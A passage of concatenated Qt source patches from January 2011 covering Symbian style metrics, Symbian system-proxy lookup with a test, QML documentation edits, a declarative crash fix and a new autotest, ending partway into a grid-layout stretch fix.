From d281cea3a445aa244901decceffd7d653ed829c8 Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Mon, 10 Jan 2011 10:36:41 +0200 Subject: QWidgets support for VGA screen Add pixelmetrics data for QS60Style to support VGA screensizes. Task-number: QT-4079 Reviewed-by: Miikka Heikkinen --- src/gui/styles/qs60style.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 040ca4f..3ba8887 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -96,7 +96,8 @@ const layoutHeader QS60StylePrivate::m_layoutHeaders[] = { {320,240,1,19,"QVGA Portrait"}, {360,640,1,19,"NHD Landscape"}, {640,360,1,19,"NHD Portrait"}, -{352,800,1,12,"E90 Landscape"} +{352,800,1,12,"E90 Landscape"}, +{480,640,1,19,"VGA Landscape"} // *** End of generated data *** }; const int QS60StylePrivate::m_numberOfLayouts = @@ -109,6 +110,7 @@ const short QS60StylePrivate::data[][MAX_PIXELMETRICS] = { {7,0,-909,0,0,2,0,5,-1,25,69,46,37,37,9,258,-909,-909,-909,23,19,26,0,0,32,25,72,44,5,5,2,-909,-909,0,7,21,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,25,2,-909,0,0,-909,25,-909,-909,-909,-909,87,27,77,35,77,13,3,6,8,19,-909,7,74,19,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, {7,0,-909,0,0,2,0,5,-1,25,68,46,37,37,9,258,-909,-909,-909,31,19,6,0,0,32,25,60,52,5,5,2,-909,-909,0,7,32,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,26,2,-909,0,0,-909,26,-909,-909,-909,-909,87,27,96,35,96,12,3,6,8,19,-909,7,74,22,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, {7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106} +{9,0,-909,0,0,2,0,5,-1,34,99,76,51,51,25,352,-909,-909,-909,29,25,7,0,0,43,34,42,76,7,7,2,-909,-909,0,9,14,0,23,39,30,30,37,37,9,391,40,0,-909,-909,-909,-909,0,0,29,2,-909,0,0,-909,29,-909,-909,-909,-909,115,37,96,48,96,19,19,9,1,25,-909,9,101,24,9,0,7,7,7,16,7,7,-909,3,-909,-909,-909,-909,9,9,3,1,184} // *** End of generated data *** }; -- cgit v0.12 From 19b6e2b944a0d1eeef0fb707a00f567e4ee870e6 Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Mon, 10 Jan 2011 11:32:15 +0200 Subject: Build failure fix (related to QT-4079) Change d281cea3a445aa244901decceffd7d653ed829c8 caused build failure, due to missing comma (one line missing from commit). Fixed by adding the missing change. Task-number: QT-4079 Reviewed-by: Miikka Heikkinen --- src/gui/styles/qs60style.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 3ba8887..4a4095d 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -109,7 +109,7 @@ const short QS60StylePrivate::data[][MAX_PIXELMETRICS] = { {5,0,-909,0,0,1,0,2,-1,8,14,22,15,15,7,164,-909,-909,-909,19,15,2,0,0,21,8,27,28,4,4,1,-909,-909,0,7,6,0,13,23,17,17,21,21,7,115,21,0,-909,-909,-909,-909,0,0,15,1,-909,0,0,-909,15,-909,-909,-909,-909,32,21,65,27,65,3,3,5,10,15,-909,5,58,13,5,0,4,4,7,9,4,4,-909,2,-909,-909,-909,-909,6,6,3,1,106}, {7,0,-909,0,0,2,0,5,-1,25,69,46,37,37,9,258,-909,-909,-909,23,19,26,0,0,32,25,72,44,5,5,2,-909,-909,0,7,21,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,25,2,-909,0,0,-909,25,-909,-909,-909,-909,87,27,77,35,77,13,3,6,8,19,-909,7,74,19,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, {7,0,-909,0,0,2,0,5,-1,25,68,46,37,37,9,258,-909,-909,-909,31,19,6,0,0,32,25,60,52,5,5,2,-909,-909,0,7,32,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,26,2,-909,0,0,-909,26,-909,-909,-909,-909,87,27,96,35,96,12,3,6,8,19,-909,7,74,22,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, -{7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106} +{7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106}, {9,0,-909,0,0,2,0,5,-1,34,99,76,51,51,25,352,-909,-909,-909,29,25,7,0,0,43,34,42,76,7,7,2,-909,-909,0,9,14,0,23,39,30,30,37,37,9,391,40,0,-909,-909,-909,-909,0,0,29,2,-909,0,0,-909,29,-909,-909,-909,-909,115,37,96,48,96,19,19,9,1,25,-909,9,101,24,9,0,7,7,7,16,7,7,-909,3,-909,-909,-909,-909,9,9,3,1,184} // *** End of generated data *** }; -- cgit v0.12 From 3c5eb8766e73c855782552f7c6472801e8ae820c Mon Sep 17 00:00:00 2001 From: Jyrki Jaakkola Date: Wed, 12 Jan 2011 18:23:10 +0100 Subject: QNetworkProxyFactory::systemProxyForQuery() for Symbian --- src/network/kernel/kernel.pri | 2 + src/network/kernel/qnetworkproxy_symbian.cpp | 267 +++++++++++++++++++++ tests/auto/network.pro | 1 + tests/auto/qnetworkproxyfactory/.gitignore | 1 + .../qnetworkproxyfactory/qnetworkproxyfactory.pro | 11 + .../tst_qnetworkproxyfactory_symbian.cpp | 101 ++++++++ 6 files changed, 383 insertions(+) create mode 100644 src/network/kernel/qnetworkproxy_symbian.cpp create mode 100644 tests/auto/qnetworkproxyfactory/.gitignore create mode 100644 tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro create mode 100644 tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp diff --git a/src/network/kernel/kernel.pri b/src/network/kernel/kernel.pri index 6145c43..66e87c9 100644 --- a/src/network/kernel/kernel.pri +++ b/src/network/kernel/kernel.pri @@ -27,5 +27,7 @@ win32:SOURCES += kernel/qhostinfo_win.cpp kernel/qnetworkinterface_win.cpp mac:LIBS_PRIVATE += -framework SystemConfiguration -framework CoreFoundation mac:SOURCES += kernel/qnetworkproxy_mac.cpp else:win32:SOURCES += kernel/qnetworkproxy_win.cpp +else:symbian:SOURCES += kernel/qnetworkproxy_symbian.cpp else:SOURCES += kernel/qnetworkproxy_generic.cpp +symbian: LIBS += -lcommsdat diff --git a/src/network/kernel/qnetworkproxy_symbian.cpp b/src/network/kernel/qnetworkproxy_symbian.cpp new file mode 100644 index 0000000..c1f9c1d --- /dev/null +++ b/src/network/kernel/qnetworkproxy_symbian.cpp @@ -0,0 +1,267 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtNetwork module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial Usage +** Licensees holding valid Qt Commercial licenses may use this file in +** accordance with the Qt Commercial License Agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and Nokia. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3.0 as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU General Public License version 3.0 requirements will be +** met: http://www.gnu.org/copyleft/gpl.html. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/** + * Some notes about the code: + * + * ** It is assumed that the system proxies are for url based requests + * ie. HTTP/HTTPS based. + * ** It is assumed that proxies don't use authentication. + * ** It is assumed that there is no exceptions to proxy use (Symbian side + * does have the field for it but it is not user modifiable by default). + * ** There is no checking for protocol name. + */ + +#include + +#ifndef QT_NO_NETWORKPROXY + +#include // CMDBSession +#include // CCDIAPRecord, CCDProxiesRecord +#include // KCDTIdIAPRecord, KCDTIdProxiesRecord +#include +#include + +using namespace CommsDat; + +QT_BEGIN_NAMESPACE + +class SymbianIapId +{ +public: + enum State{ + NotValid, + Valid + }; + Q_DECLARE_FLAGS(States, State) + SymbianIapId() {} + ~SymbianIapId() {} + void setIapId(TUint32 iapId) { iapState |= Valid; id = iapId; } + bool isValid() { return iapState == Valid; } + TUint32 iapId() { return id; } +private: + QFlags iapState; + TUint32 id; +}; + +Q_DECLARE_OPERATORS_FOR_FLAGS(SymbianIapId::States) + +class SymbianProxyQuery +{ +public: + static QNetworkConfiguration findCurrentConfiguration(QNetworkConfigurationManager& configurationManager); + static SymbianIapId getIapId(QNetworkConfigurationManager& configurationManager); + static CCDIAPRecord *getIapRecordLC(TUint32 aIAPId, CMDBSession &aDb); + static CMDBRecordSet *prepareQueryLC(TUint32 serviceId, TDesC& serviceType); + static QList proxyQueryL(TUint32 aIAPId, const QNetworkProxyQuery &query); +}; + +QNetworkConfiguration SymbianProxyQuery::findCurrentConfiguration(QNetworkConfigurationManager& configurationManager) +{ + QList activeConfigurations = configurationManager.allConfigurations( + QNetworkConfiguration::Active); + QNetworkConfiguration currentConfig; + if (activeConfigurations.count() > 0) { + currentConfig = activeConfigurations.at(0); + } else { + // No active configurations, try default one + QNetworkConfiguration defaultConfiguration = configurationManager.defaultConfiguration(); + if (defaultConfiguration.isValid()) { + switch (defaultConfiguration.type()) { + case QNetworkConfiguration::InternetAccessPoint: + currentConfig = defaultConfiguration; + break; + case QNetworkConfiguration::ServiceNetwork: + { + // Note: This code assumes that the only unambigious way to + // find current proxy config is if there is only one access point + // or if the found access point is immediately usable. + QList childConfigurations = defaultConfiguration.children(); + if (childConfigurations.count() == 1) { + currentConfig = childConfigurations.at(0); + } else { + for (int index = 0; index < childConfigurations.count(); index++) { + QNetworkConfiguration childConfig = childConfigurations.at(index); + if (childConfig.isValid() && childConfig.state() == QNetworkConfiguration::Discovered) { + currentConfig = childConfig; + break; + } + } + } + } + break; + case QNetworkConfiguration::UserChoice: + // User choice is not a valid configuration for proxy discovery + break; + } + } + } + return currentConfig; +} + +SymbianIapId SymbianProxyQuery::getIapId(QNetworkConfigurationManager& configurationManager) +{ + SymbianIapId iapId; + + QNetworkConfiguration currentConfig = findCurrentConfiguration(configurationManager); + if (currentConfig.isValid()) { + // Note: the following code assumes that the identifier is in format + // I_xxxx where xxxx is the identifier of IAP. This is meant as a + // temporary solution until there is a support for returning + // implementation specific identifier. + const int generalPartLength = 2; + const int identifierNumberLength = currentConfig.identifier().length() - generalPartLength; + QString idString(currentConfig.identifier().right(identifierNumberLength)); + bool success; + uint id = idString.toUInt(&success); + if (success) + iapId.setIapId(id); + else + qWarning() << "Failed to convert identifier to access point identifier: " + << currentConfig.identifier(); + } + + return iapId; +} + +CCDIAPRecord *SymbianProxyQuery::getIapRecordLC(TUint32 aIAPId, CMDBSession &aDb) +{ + CCDIAPRecord *iap = static_cast (CCDRecordBase::RecordFactoryL(KCDTIdIAPRecord)); + CleanupStack::PushL(iap); + iap->SetRecordId(aIAPId); + iap->LoadL(aDb); + return iap; +} + +CMDBRecordSet *SymbianProxyQuery::prepareQueryLC(TUint32 serviceId, TDesC& serviceType) +{ + // Create a recordset of type CCDProxiesRecord + // for priming search. + // This will ultimately contain record(s) + // matching the priming record attributes + CMDBRecordSet *proxyRecords = new (ELeave) CMDBRecordSet ( + KCDTIdProxiesRecord); + CleanupStack::PushL(proxyRecords); + + CCDProxiesRecord *primingProxyRecord = + static_cast (CCDRecordBase::RecordFactoryL(KCDTIdProxiesRecord)); + CleanupStack::PushL(primingProxyRecord); + + primingProxyRecord->iServiceType.SetMaxLengthL(serviceType.Length()); + primingProxyRecord->iServiceType = serviceType; + primingProxyRecord->iService = serviceId; + primingProxyRecord->iUseProxyServer = ETrue; + + proxyRecords->iRecords.AppendL(primingProxyRecord); + // Ownership of primingProxyRecord is transferred to + // proxyRecords, just remove it from the CleanupStack + CleanupStack::Pop(primingProxyRecord); + return proxyRecords; +} + +QList SymbianProxyQuery::proxyQueryL(TUint32 aIAPId, const QNetworkProxyQuery &query) +{ + QList foundProxies; + if (query.queryType() != QNetworkProxyQuery::UrlRequest) { + return foundProxies; + } + + CMDBSession *iDb = CMDBSession::NewLC(KCDVersion1_1); + CCDIAPRecord *iap = getIapRecordLC(aIAPId, *iDb); + + // Read service table id and service type + // from the IAP record found + TUint32 serviceId = iap->iService; + RBuf serviceType; + serviceType.CreateL(iap->iServiceType); + CleanupStack::PopAndDestroy(iap); + CleanupClosePushL(serviceType); + + CMDBRecordSet *proxyRecords = prepareQueryLC(serviceId, serviceType); + + // Now to find a proxy table matching our criteria + if (proxyRecords->FindL(*iDb)) { + TInt count = proxyRecords->iRecords.Count(); + for(TInt index = 0; index < count; index++) { + CCDProxiesRecord *proxyRecord = static_cast (proxyRecords->iRecords[index]); + RBuf serverName; + serverName.CreateL(proxyRecord->iServerName); + CleanupClosePushL(serverName); + if (serverName.Length() == 0) + User::Leave(KErrNotFound); + QString serverNameQt((const QChar*)serverName.Ptr(), serverName.Length()); + CleanupStack::Pop(); // serverName + TUint32 port = proxyRecord->iPortNumber; + + QNetworkProxy proxy(QNetworkProxy::HttpProxy, serverNameQt, port); + foundProxies.append(proxy); + } + } + + CleanupStack::PopAndDestroy(proxyRecords); + CleanupStack::Pop(); // serviceType + CleanupStack::PopAndDestroy(iDb); + + return foundProxies; +} + +QList QNetworkProxyFactory::systemProxyForQuery(const QNetworkProxyQuery &query) +{ + QList proxies; + SymbianIapId iapId; + TInt error; + QNetworkConfigurationManager manager; + iapId = SymbianProxyQuery::getIapId(manager); + if (iapId.isValid()) { + TRAP(error, proxies = SymbianProxyQuery::proxyQueryL(iapId.iapId(), query)) + if (error != KErrNone) { + qWarning() << "Error while retrieving proxies: '" << error << '"'; + proxies.clear(); + } + } + proxies << QNetworkProxy::NoProxy; + + return proxies; +} + +QT_END_NAMESPACE + +#endif diff --git a/tests/auto/network.pro b/tests/auto/network.pro index 31c754c..2e3b5cd 100644 --- a/tests/auto/network.pro +++ b/tests/auto/network.pro @@ -25,6 +25,7 @@ SUBDIRS=\ qnetworkcookiejar \ qnetworkinterface \ qnetworkproxy \ + qnetworkproxyfactory \ qnetworkrequest \ qnetworksession \ qobjectperformance \ diff --git a/tests/auto/qnetworkproxyfactory/.gitignore b/tests/auto/qnetworkproxyfactory/.gitignore new file mode 100644 index 0000000..9be26bb --- /dev/null +++ b/tests/auto/qnetworkproxyfactory/.gitignore @@ -0,0 +1 @@ +tst_qnetworkproxyfactory_symbian diff --git a/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro b/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro new file mode 100644 index 0000000..81460a1 --- /dev/null +++ b/tests/auto/qnetworkproxyfactory/qnetworkproxyfactory.pro @@ -0,0 +1,11 @@ +############################################################ +# Project file for autotest for file qnetworkproxy.h (proxy factory part) +############################################################ + +load(qttest_p4) +QT = core network + +SOURCES += tst_qnetworkproxyfactory_symbian.cpp + +symbian: TARGET.CAPABILITY = NetworkServices + diff --git a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp new file mode 100644 index 0000000..6a8ea79 --- /dev/null +++ b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory_symbian.cpp @@ -0,0 +1,101 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + + +#include + +#include +#include +#include + +class tst_QNetworkProxyFactory_symbian : public QObject { + Q_OBJECT +private slots: + void systemProxyForQuery() const; + +private: + QString formatProxyName(const QNetworkProxy & proxy) const; +}; + +QString tst_QNetworkProxyFactory_symbian::formatProxyName(const QNetworkProxy & proxy) const +{ + QString proxyName; + if (!proxy.user().isNull()) + proxyName.append("%1:%2@").arg(proxy.user(), proxy.password()); + proxyName.append("%1:%2").arg(proxy.hostName(), proxy.port()); + proxyName.append(" (type=%1, capabilities=%2)").arg(proxy.type(), proxy.capabilities()); + + return proxyName; +} + +void tst_QNetworkProxyFactory_symbian::systemProxyForQuery() const +{ + QNetworkProxyFactory proxyFactory; + QNetworkProxyQuery query(QUrl(QString("http://www.abc.com")), QNetworkProxyQuery::UrlRequest); + QList systemProxyList = proxyFactory.systemProxyForQuery(query); + bool pass = true; + QNetworkProxy proxy; + + QList nativeProxyList; + nativeProxyList << QNetworkProxy(QNetworkProxy::HttpProxy, QString("http://test.proxy.com"), 8080) << QNetworkProxy::NoProxy; + + foreach (proxy, systemProxyList) { + if (!nativeProxyList.contains(proxy)) { + qWarning() << "System proxy not found in native proxy list: " << + formatProxyName(proxy); + pass = false; + } + } + + foreach (proxy, nativeProxyList) { + if (!systemProxyList.contains(proxy)) { + qWarning() << "Native proxy not found in system proxy list: " << + formatProxyName(proxy); + pass = false; + } + } + + if (!pass) + QFAIL("One or more system proxy lookup failures occured."); +} + +QTEST_MAIN(tst_QNetworkProxyFactory_symbian) +#include "tst_qnetworkproxyfactory_symbian.moc" -- cgit v0.12 From 271c790e020b82be88e421611bef169334ea0a4f Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Thu, 13 Jan 2011 10:49:13 +1000 Subject: Consistent Docs Example contradicted later docs. Fixed example. Task-number: QTBUG-16596 --- doc/src/snippets/declarative/codingconventions/photo.qml | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/doc/src/snippets/declarative/codingconventions/photo.qml b/doc/src/snippets/declarative/codingconventions/photo.qml index 61e7eb7..78c5068 100644 --- a/doc/src/snippets/declarative/codingconventions/photo.qml +++ b/doc/src/snippets/declarative/codingconventions/photo.qml @@ -49,12 +49,20 @@ Rectangle { signal clicked // signal declarations - function doSomething(x) { // javascript functions + function doSomething(x) // javascript functions + { return x + photoImage.width } - x: 20; y: 20; width: 200; height: 150 // object properties - color: "gray" // try to group related properties together + color: "gray" // object properties + x: 20; y: 20; height: 150 // try to group related properties together + width: { // large bindings + if(photoImage.width > 200){ + photoImage.width; + }else{ + 200; + } + } Rectangle { // child objects id: border -- cgit v0.12 From 3526db3b8832c357b368014e6c8ebab63d4071da Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 13 Jan 2011 14:40:31 +1000 Subject: Don't crash Qt Creator when debugging an object alias Task-number: QTBUG-16131 --- src/declarative/qml/qdeclarativeproperty.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp index e7dae98..8210314 100644 --- a/src/declarative/qml/qdeclarativeproperty.cpp +++ b/src/declarative/qml/qdeclarativeproperty.cpp @@ -665,7 +665,7 @@ QDeclarativePropertyPrivate::binding(QObject *object, int coreIndex, int valueTy static_cast(metaObjectForProperty(object->metaObject(), coreIndex)); QObject *aObject = 0; int aCoreIndex = -1; int aValueTypeIndex = -1; - if (!vme->aliasTarget(coreIndex, &aObject, &aCoreIndex, &aValueTypeIndex)) + if (!vme->aliasTarget(coreIndex, &aObject, &aCoreIndex, &aValueTypeIndex) || aCoreIndex == -1) return 0; // This will either be a value type sub-reference or an alias to a value-type sub-reference not both -- cgit v0.12 From 72942b7dab497b656fad8eeb6240fe310a31be29 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 13 Jan 2011 14:59:30 +1000 Subject: Add an autotest for QVariant method params --- .../auto/declarative/qdeclarativeecmascript/testtypes.h | 2 ++ .../tst_qdeclarativeecmascript.cpp | 16 ++++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h index 7724335..6c6ad1f 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h @@ -624,6 +624,8 @@ public: Q_INVOKABLE int method_default(int a, int b = 19) { invoke(20); m_actuals << a << b; return b; } + Q_INVOKABLE void method_QVariant(QVariant a, QVariant b = QVariant()) { invoke(21); m_actuals << a << b; } + private: friend class MyInvokableBaseObject; void invoke(int idx) { if (m_invoked != -1) m_invokedError = true; m_invoked = idx;} diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 90006a9..034adf7 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -1786,6 +1786,22 @@ void tst_qdeclarativeecmascript::callQtInvokables() QCOMPARE(o.invoked(), -3); QCOMPARE(o.actuals().count(), 1); QCOMPARE(o.actuals().at(0), QVariant(9)); + + o.reset(); + QCOMPARE(engine->evaluate("object.method_QVariant(9)").isUndefined(), true); + QCOMPARE(o.error(), false); + QCOMPARE(o.invoked(), 21); + QCOMPARE(o.actuals().count(), 2); + QCOMPARE(o.actuals().at(0), QVariant(9)); + QCOMPARE(o.actuals().at(1), QVariant()); + + o.reset(); + QCOMPARE(engine->evaluate("object.method_QVariant(\"Hello\", \"World\")").isUndefined(), true); + QCOMPARE(o.error(), false); + QCOMPARE(o.invoked(), 21); + QCOMPARE(o.actuals().count(), 2); + QCOMPARE(o.actuals().at(0), QVariant(QString("Hello"))); + QCOMPARE(o.actuals().at(1), QVariant(QString("World"))); } // QTBUG-13047 (check that you can pass registered object types as args) -- cgit v0.12 From 56bc3e3a40ab694ca5e1b2887c5887e8aa05de04 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Thu, 13 Jan 2011 15:11:33 +1000 Subject: Document level of support for QGraphicsObject properties In the context of QML, they are not officially supported as public API unless otherwise documented in QDeclarativeItem. This commit mentions that somewhere. Task-number: QTBUG-15797 Reviewed-by: Martin Jones --- doc/src/declarative/qtbinding.qdoc | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc index 4213f66..b1de3e4 100644 --- a/doc/src/declarative/qtbinding.qdoc +++ b/doc/src/declarative/qtbinding.qdoc @@ -235,6 +235,10 @@ defined by C++ classes; in fact, many of the core \l {QML Elements} are implemen C++ classes. When you create a QML object using one of these elements, you are simply creating an instance of a QObject-based C++ class and setting its properties. +To create a visual item that fits in with the Qt Quick elements, base your class off \l QDeclarativeItem instead of QObject directly. +You can then implement your own painting and functionality like any other QGraphicsObject. Note that QGraphicsItem::ItemHasNoContents is set by default on QDeclarativeItem because +it does not paint anything; you will need to clear this if your item is supposed to paint anything (as opposed to being solely for input handling or logical grouping). + For example, here is an \c ImageViewer class with an \c image URL property: \snippet doc/src/snippets/declarative/qtbinding/newelements/imageviewer.h 0 @@ -249,6 +253,11 @@ Then, any QML code loaded by your C++ application or \l{QDeclarativeExtensionPlu \snippet doc/src/snippets/declarative/qtbinding/newelements/standalone.qml 0 + +It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QDeclarativeItem. +This is because the GraphicsView backend is an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. +To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarative item where possible as properties it inherits but doesn't document are classed as implementation details and may disappear. + Note that custom C++ types do not have to inherit from QDeclarativeItem; this is only necessary if it is a displayable item. If the item is not displayable, it can simply inherit from QObject. -- cgit v0.12 From 7b8c7462dde454c25e92e401292e973da04f2189 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Thu, 13 Jan 2011 15:17:47 +1000 Subject: Document centerIn and fill in the anchors docs Task-number: QTBUG-16467 --- doc/src/declarative/anchor-layout.qdoc | 3 +++ 1 file changed, 3 insertions(+) diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc index f03d9ee..941acfe 100644 --- a/doc/src/declarative/anchor-layout.qdoc +++ b/doc/src/declarative/anchor-layout.qdoc @@ -78,6 +78,9 @@ Rectangle { id: rect3; x: 150; ... } \image edge4.png +There are also some convenience anchors. anchors.fill is a convenience that is the same as setting the left,right,top and bottom anchors +to the left,right,top and bottom of the target item. anchors.centerIn is another convenience anchor, and is the same as setting the verticalCenter +and horizontalCenter anchors to the verticalCenter and horizontalCenter of the target item. \section1 Anchor Margins and Offsets -- cgit v0.12 From b034416ab293a71fcedd744d503a30365b664049 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Thu, 13 Jan 2011 16:21:58 +1000 Subject: Fix doc typo Tidy up that section a little, while I'm at it. --- doc/src/declarative/qtbinding.qdoc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc index b1de3e4..03290aa 100644 --- a/doc/src/declarative/qtbinding.qdoc +++ b/doc/src/declarative/qtbinding.qdoc @@ -255,8 +255,8 @@ Then, any QML code loaded by your C++ application or \l{QDeclarativeExtensionPlu It is advised that you avoid using QGraphicsItem functionality beyond the properties documented in QDeclarativeItem. -This is because the GraphicsView backend is an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. -To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarative item where possible as properties it inherits but doesn't document are classed as implementation details and may disappear. +This is because the GraphicsView backend is intended to be an implementation detail for QML, so the QtQuick items can be moved to faster backends as they become available with no change from a QML perspective. +To minimize any porting requirements for custom visual items, try to stick to the documented properties in QDeclarativeItem where possible. Properties QDeclarativeItem inherits but doesn't document are classed as implementation details; they are not officially supported and may disappear between releases. Note that custom C++ types do not have to inherit from QDeclarativeItem; this is only necessary if it is a displayable item. If the item is not displayable, it can simply inherit from QObject. -- cgit v0.12 From 7fbf1829e11504eca6a55f1e5dbddf2f658b5302 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jan-Arve=20S=C3=A6ther?= Date: Fri, 17 Dec 2010 14:41:43 +0100 Subject: Fix a bug that got revealed by 604c51f1fc5c79b7fad12cda911b06b9e6e5005f The bug has been around for a while, but change 604c51f1fc5c7 made it emerge. The problem was that stretches were combined by always *maxing* them. The values of 'stretch' can be interpreted as this: -1: (the default) it means that the items should be stretched with the stretch factor dervived from the size hints. (In practice this means that they are distributed fairly). 0: Means that the item should not be stretched >0: Means that the item should be stretch with that number as a factor. This meant that combining one item with a fixed size(0) and another item with a default stretch (-1) the combined row stretch would end up being fixed. This also fixes how stretches are combined for spanning items too. Task-number: QTBUG-13551 Reviewed-by: John Tapsell --- src/gui/graphicsview/qgridlayoutengine.cpp | 5 +++-- .../tst_qgraphicslinearlayout.cpp | 26 ++++++++++++++++++++++ 2 files changed, 29 insertions(+), 2 deletions(-) diff --git a/src/gui/graphicsview/qgridlayoutengine.cpp 